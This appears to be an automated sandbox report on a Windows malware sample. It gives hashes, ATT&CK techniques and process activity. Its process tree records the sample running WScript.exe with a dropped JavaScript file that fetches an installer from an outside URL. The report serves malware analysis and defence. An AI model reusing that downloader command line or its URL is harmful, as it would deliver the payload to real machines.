15d89b71aeafa09201c03a021136cf8cd12b5879c0bf6c7154d4a5e31d0ff3f6

Analysis

max time kernel
133s
max time network
103s
platform
windows10-2004_x64
resource
win10v2004-20240508-en
resource tags

arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
submitted
04/06/2024, 11:06

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General

Target

949a5b52eabe2d8c12af9d5166575adf_JaffaCakes118.exe
Size

184KB
MD5

949a5b52eabe2d8c12af9d5166575adf
SHA1

8fa5c015524f30911c8ebaee5e33663af9749a92
SHA256

15d89b71aeafa09201c03a021136cf8cd12b5879c0bf6c7154d4a5e31d0ff3f6
SHA512

38da348a6ab1c6fbb2fd868ad6edd9c45eb655e3f7aecf91308770825ec1535f28f5173ecc970662e1e17a67b61096317a48a40fade951fccb517c87ef889ee5
SSDEEP

3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO3+:/7BSH8zUB+nGESaaRvoB7FJNndn7

Score

8^/10

execution

Malware Config

Signatures

Blocklisted process makes network request 6 IoCs

flow	pid	Process
12	4212	WScript.exe
35	2376	WScript.exe
37	3916	WScript.exe
38	3916	WScript.exe
50	2912	WScript.exe
52	3444	WScript.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2804150937-2146708401-419095071-1000\Control Panel\International\Geo\Nation	949a5b52eabe2d8c12af9d5166575adf_JaffaCakes118.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2804150937-2146708401-419095071-1000_Classes\Local Settings	949a5b52eabe2d8c12af9d5166575adf_JaffaCakes118.exe

Suspicious use of WriteProcessMemory 15 IoCs

description	pid	Process	procid_target
PID 1396 wrote to memory of 4212	1396	949a5b52eabe2d8c12af9d5166575adf_JaffaCakes118.exe	83
PID 1396 wrote to memory of 4212	1396	949a5b52eabe2d8c12af9d5166575adf_JaffaCakes118.exe	83
PID 1396 wrote to memory of 4212	1396	949a5b52eabe2d8c12af9d5166575adf_JaffaCakes118.exe	83
PID 1396 wrote to memory of 2376	1396	949a5b52eabe2d8c12af9d5166575adf_JaffaCakes118.exe	94
PID 1396 wrote to memory of 2376	1396	949a5b52eabe2d8c12af9d5166575adf_JaffaCakes118.exe	94
PID 1396 wrote to memory of 2376	1396	949a5b52eabe2d8c12af9d5166575adf_JaffaCakes118.exe	94
PID 1396 wrote to memory of 3916	1396	949a5b52eabe2d8c12af9d5166575adf_JaffaCakes118.exe	95
PID 1396 wrote to memory of 3916	1396	949a5b52eabe2d8c12af9d5166575adf_JaffaCakes118.exe	95
PID 1396 wrote to memory of 3916	1396	949a5b52eabe2d8c12af9d5166575adf_JaffaCakes118.exe	95
PID 1396 wrote to memory of 2912	1396	949a5b52eabe2d8c12af9d5166575adf_JaffaCakes118.exe	98
PID 1396 wrote to memory of 2912	1396	949a5b52eabe2d8c12af9d5166575adf_JaffaCakes118.exe	98
PID 1396 wrote to memory of 2912	1396	949a5b52eabe2d8c12af9d5166575adf_JaffaCakes118.exe	98
PID 1396 wrote to memory of 3444	1396	949a5b52eabe2d8c12af9d5166575adf_JaffaCakes118.exe	99
PID 1396 wrote to memory of 3444	1396	949a5b52eabe2d8c12af9d5166575adf_JaffaCakes118.exe	99
PID 1396 wrote to memory of 3444	1396	949a5b52eabe2d8c12af9d5166575adf_JaffaCakes118.exe	99

C:\Users\Admin\AppData\Local\Temp\949a5b52eabe2d8c12af9d5166575adf_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\949a5b52eabe2d8c12af9d5166575adf_JaffaCakes118.exe"
1⤵
- Checks computer location settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:1396
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf4E5E.js" http://www.djapp.info/?domain=OKHSZEgNRM.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf4E5E.exe
  2⤵
  - Blocklisted process makes network request
  PID:4212
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf4E5E.js" http://www.djapp.info/?domain=OKHSZEgNRM.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf4E5E.exe
  2⤵
  - Blocklisted process makes network request
  PID:2376
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf4E5E.js" http://www.djapp.info/?domain=OKHSZEgNRM.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf4E5E.exe
  2⤵
  - Blocklisted process makes network request
  PID:3916
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf4E5E.js" http://www.djapp.info/?domain=OKHSZEgNRM.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf4E5E.exe
  2⤵
  - Blocklisted process makes network request
  PID:2912
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf4E5E.js" http://www.djapp.info/?domain=OKHSZEgNRM.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf4E5E.exe
  2⤵
  - Blocklisted process makes network request
  PID:3444

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\fuf4E5E.js

Filesize
3KB

MD5
3813cab188d1de6f92f8b82c2059991b

SHA1
4807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb

SHA256
a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e

SHA512
83b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76

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